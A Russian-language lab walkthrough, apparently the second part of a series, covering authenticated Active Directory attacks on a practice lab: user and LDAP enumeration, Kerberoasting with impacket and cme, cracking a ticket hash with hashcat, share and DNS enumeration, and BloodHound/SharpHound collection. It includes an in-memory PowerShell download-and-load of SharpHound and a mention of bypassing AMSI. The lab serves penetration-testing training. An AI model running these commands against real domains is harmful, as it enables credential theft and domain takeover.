Мы нашли некоторых пользователей в прошлой части, теперь давайте посмотрим, что мы можем сделать с этими кредитами.
Список пользователей
Когда вы получаете учетную запись в активном каталоге, первое, что нужно сделать, — это получить полный список пользователей. Как только вы его получите, вы можете применить технику распыления пароля для всего список пользователей (очень часто вы найдете другие учетные записи со слабым паролем, например, имя пользователя = пароль, SeasonYear!, SocietynameYear! или даже 123456).
Если вы хотитеполучше вникнуть в запросы ldap в AD почитайте -> https://podalirius.net/en/articles/useful-ldap-queries-for-windows-active-directory-pentesting/
А мы пойдем дальше к DC north.sevenkingdoms.local
Используя ldap мы можем потыкаться по пользователям другого домена, так как между ними есть доверие, пойдем до essos.local:
А потом до sevenkingdoms.local
Применим технику кербероастинга,
В AD мы очень часто будем видеть пользователей с установленным SPN. Давайте найдем их impacket
хэши будут храниться в файле с именем kerberoasting.hashes.
мы также можем сделать это с cme с помощью следующей команды:
Теперь попробуем взломать хеши:
мы быстро получаем результат с rockyou:
И мы нашли еще одного пользователя: north/jon.snow:iknownothing
перечисление общих ресурсов
у нас есть пользователь домена, поэтому мы можем перечислить ресурс в другой раз, но уже с учетной записью пользователя
Теперь новая расшаренная папка доступна для чтения (в ней ничего нет на лабе, но в жизни вы будете получать очень часто пикантную информацию)
Дамп DNS
Еще одна крутая вещь, которую можно сделать, когда у нас есть пользователь, — это перечислить dns. Для этого мы можем использовать инструмент adidnsdump от dirkjanm .
Результаты сохраняются в файле records.csv.
Bloodhound
Bloodhound — один из лучших инструментов для пентеста Active Directory. Этот инструмент поможет вам найти все пути к pwn AD и обязательно должен быть в вашем арсенале!
Чтобы запустить Bloodhound, вам сначала нужно получить все данные с разных доменов.
Сначала мы получим данные с помощью https://github.com/fox-it/BloodHound.py.
Давайте запустим скрипт на north.sevenkingdoms.local:
Хорошо, теперь у нас есть вся информация из домена north.sevenkingdoms.local. Теперь попробуйте получить информацию из других доменов:
Теперь у нас есть информация о 3 доменах
но приемник python не так совершенен, как приемник .net, как мы можем видеть в проекте github: «Поддерживает большинство, но не все функции BloodHound (SharpHound) (поддерживаемые методы сбора см. ниже, в основном методы на основе GPO отсутствуют)»
Итак, давайте сделаем это снова из Windows на этот раз.
Начнем RDP-соединение
Папка C:\vagrant автоматически монтируется на виртуальную машину, это упростит передачу файлов и мы запустим Sharphound для получения информации о доменах
Или мы также можем сделать это в reflection с помощью powershell, если вы хотите воспроизвести его полностью в памяти (если вы делаете это с включенным defender, вам сначала придется обойти amsi).
Охота с bloodhound
Ззапустите neo4j и Bloodhound (на момент написания python Ingestor соответствует Bloodhound 4.1, обязательно получите правильную версию), загрузите zip-файлы в Bloodhound и увидите все домены и компьютеры:
и все пользователей
И общую карту AD:
Посмотрим и пользователей ASL
Для дальнейшего изучени темы копать -> https://ru.hackndo.com/bloodhound/
лопата -> https://hausec.com/2019/09/09/bloodhound-cypher-cheatsheet/
В следующей статье мы начнем играть с отравлением и реле ntlm
Список пользователей
Когда вы получаете учетную запись в активном каталоге, первое, что нужно сделать, — это получить полный список пользователей. Как только вы его получите, вы можете применить технику распыления пароля для всего список пользователей (очень часто вы найдете другие учетные записи со слабым паролем, например, имя пользователя = пароль, SeasonYear!, SocietynameYear! или даже 123456).
Код:
GetADUsers.py -all north.sevenkingdoms.local/brandon.stark:iseedeadpeople
Код:
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[*] Querying north.sevenkingdoms.local for information about domain.
Name Email PasswordLastSet LastLogon
-------------------- ------------------------------ ------------------- -------------------
Administrator 2022-06-29 00:32:20.901897 2022-07-01 17:48:41.983605
Guest <never> <never>
vagrant 2021-05-12 13:38:55.922520 2022-07-01 12:08:35.223885
krbtgt 2022-06-29 00:48:58.950440 <never>
arya.stark 2022-06-29 07:48:08.060667 2022-07-03 17:40:06.721358
eddard.stark 2022-06-29 07:48:11.560625 2022-07-04 23:33:27.976702
catelyn.stark 2022-06-29 07:48:15.013735 <never>
robb.stark 2022-06-29 07:48:18.544972 2022-07-04 23:35:50.678794
sansa.stark 2022-06-29 07:48:21.607059 <never>
brandon.stark 2022-06-29 07:48:24.278459 2022-07-04 23:36:08.991489
rickon.stark 2022-06-29 07:48:26.966809 <never>
hodor 2022-06-29 07:48:29.670052 2022-07-04 23:21:58.774078
jon.snow 2022-06-29 07:48:32.373101 2022-07-03 17:36:26.798060
samwell.tarly 2022-06-29 07:48:35.107476 2022-07-01 16:35:17.043960
jeor.mormont 2022-06-29 07:48:37.841846 <never>
sql_svc 2022-06-29 07:48:40.248028 2022-07-03 15:56:57.924607
Если вы хотитеполучше вникнуть в запросы ldap в AD почитайте -> https://podalirius.net/en/articles/useful-ldap-queries-for-windows-active-directory-pentesting/
А мы пойдем дальше к DC north.sevenkingdoms.local
Код:
ldapsearch -H ldap://192.168.56.11 -D "brandon.stark@north.sevenkingdoms.local" -w iseedeadpeople -b 'DC=north,DC=sevenkingdoms,DC=local' "(&(objectCategory=person)(objectClass=user))" |grep 'distinguishedName:'
Используя ldap мы можем потыкаться по пользователям другого домена, так как между ними есть доверие, пойдем до essos.local:
Код:
ldapsearch -H ldap://192.168.56.12 -D "brandon.stark@north.sevenkingdoms.local" -w iseedeadpeople -b ',DC=essos,DC=local' "(&(objectCategory=person)(objectClass=user))"
А потом до sevenkingdoms.local
Код:
ldapsearch -H ldap://192.168.56.10 -D "brandon.stark@north.sevenkingdoms.local" -w iseedeadpeople -b 'DC=sevenkingdoms,DC=local' "(&(objectCategory=person)(objectClass=user))"
Применим технику кербероастинга,
В AD мы очень часто будем видеть пользователей с установленным SPN. Давайте найдем их impacket
Код:
GetUserSPNs.py -request -dc-ip 192.168.56.11 north.sevenkingdoms.local/brandon.stark:iseedeadpeople -outputfile kerberoasting.hashes
Код:
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation
--------------------------------------------------- -------- ---------------------------------------------------------- -------------------------- -------------------------- -----------
CIFS/winterfell.north.sevenkingdoms.local jon.snow CN=Night Watch,CN=Users,DC=north,DC=sevenkingdoms,DC=local 2022-06-29 07:48:32.373101 2022-06-29 10:34:54.308171 constrained
HTTP/thewall.north.sevenkingdoms.local jon.snow CN=Night Watch,CN=Users,DC=north,DC=sevenkingdoms,DC=local 2022-06-29 07:48:32.373101 2022-06-29 10:34:54.308171 constrained
MSSQLSvc/castelblack.north.sevenkingdoms.local sql_svc 2022-06-29 07:48:40.248028 2022-06-29 22:54:57.422114
MSSQLSvc/castelblack.north.sevenkingdoms.local:1433 sql_svc 2022-06-29 07:48:40.248028 2022-06-29 22:54:57.422114
хэши будут храниться в файле с именем kerberoasting.hashes.
мы также можем сделать это с cme с помощью следующей команды:
Код:
cme ldap 192.168.56.11 -u brandon.stark -p 'iseedeadpeople' -d north.sevenkingdoms.local --kerberoasting KERBEROASTING
Теперь попробуем взломать хеши:
Код:
hashcat -m 13100 --force -a 0 kerberoasting.hashes /usr/share/wordlists/rockyou.txt --force
мы быстро получаем результат с rockyou:
И мы нашли еще одного пользователя: north/jon.snow:iknownothing
перечисление общих ресурсов
у нас есть пользователь домена, поэтому мы можем перечислить ресурс в другой раз, но уже с учетной записью пользователя
Код:
cme smb 192.168.56.10-23 -u jon.snow -p iknownothing -d north.sevenkingdoms.local --shares
Теперь новая расшаренная папка доступна для чтения (в ней ничего нет на лабе, но в жизни вы будете получать очень часто пикантную информацию)
Дамп DNS
Еще одна крутая вещь, которую можно сделать, когда у нас есть пользователь, — это перечислить dns. Для этого мы можем использовать инструмент adidnsdump от dirkjanm .
Код:
adidnsdump -u 'north.sevenkingdoms.local\jon.snow' -p 'iknownothing' winterfell.north.sevenkingdoms.local
Результаты сохраняются в файле records.csv.
Код:
cat records.csv
type,name,value
A,winterfell,192.168.56.11
A,winterfell,10.0.2.15
?,DomainDnsZones,?
?,castelblack,?
NS,@,winterfell.north.sevenkingdoms.local.
A,@,192.168.56.11
A,@,10.0.2.15
Bloodhound
Bloodhound — один из лучших инструментов для пентеста Active Directory. Этот инструмент поможет вам найти все пути к pwn AD и обязательно должен быть в вашем арсенале!
Чтобы запустить Bloodhound, вам сначала нужно получить все данные с разных доменов.
Сначала мы получим данные с помощью https://github.com/fox-it/BloodHound.py.
Давайте запустим скрипт на north.sevenkingdoms.local:
Код:
bloodhound.py --zip -c All -d north.sevenkingdoms.local -u brandon.stark -p iseedeadpeople -dc winterfell.north.sevenkingdoms.local
Хорошо, теперь у нас есть вся информация из домена north.sevenkingdoms.local. Теперь попробуйте получить информацию из других доменов:
Код:
bloodhound.py --zip -c All -d sevenkingdoms.local -u brandon.stark@north.sevenkingdoms.local -p iseedeadpeople -dc kingslanding.sevenkingdoms.local
Код:
bloodhound.py --zip -c All -d essos.local -u brandon.stark@north.sevenkingdoms.local -p iseedeadpeople -dc meereen.essos.local
Теперь у нас есть информация о 3 доменах
Итак, давайте сделаем это снова из Windows на этот раз.
.net Ingestor — из Windows
Официальный поставщик bloudhound — Sharphound: https://github.com/BloodHoundAD/SharpHound .Начнем RDP-соединение
Код:
xfreerdp /u:jon.snow /p:iknownothing /d:north /v:192.168.56.22 /cert-ignore
Код:
.\sharphound.exe -d north.sevenkingdoms.local -c all --zipfilename bh_north_sevenkingdoms.zip
.\sharphound.exe -d sevenkingdoms.local -c all --zipfilename bh_sevenkingdoms.zip
.\sharphound.exe -d essos.local -c all --zipfilename bh_essos.zip
Или мы также можем сделать это в reflection с помощью powershell, если вы хотите воспроизвести его полностью в памяти (если вы делаете это с включенным defender, вам сначала придется обойти amsi).
Код:
$data = (New-Object System.Net.WebClient).DownloadData('http://192.168.56.1/SharpHound.exe')
$assem = [System.Reflection.Assembly]::Load($data)
[Sharphound.Program]::Main("-d north.sevenkingdoms.local -c all".Split())
Охота с bloodhound
Ззапустите neo4j и Bloodhound (на момент написания python Ingestor соответствует Bloodhound 4.1, обязательно получите правильную версию), загрузите zip-файлы в Bloodhound и увидите все домены и компьютеры:
Код:
MATCH p = (d:Domain)-[r:Contains*1..]->(n:Computer) RETURN p
и все пользователей
Код:
MATCH p = (d:Domain)-[r:Contains*1..]->(n:User) RETURN p
И общую карту AD:
Код:
MATCH q=(d:Domain)-[r:Contains*1..]->(n:Group)<-[s:MemberOf]-(u:User) RETURN q
Посмотрим и пользователей ASL
Код:
MATCH p=(u:User)-[r1]->(n) WHERE r1.isacl=true and not tolower(u.name) contains 'vagrant' RETURN p
Для дальнейшего изучени темы копать -> https://ru.hackndo.com/bloodhound/
лопата -> https://hausec.com/2019/09/09/bloodhound-cypher-cheatsheet/
В следующей статье мы начнем играть с отравлением и реле ntlm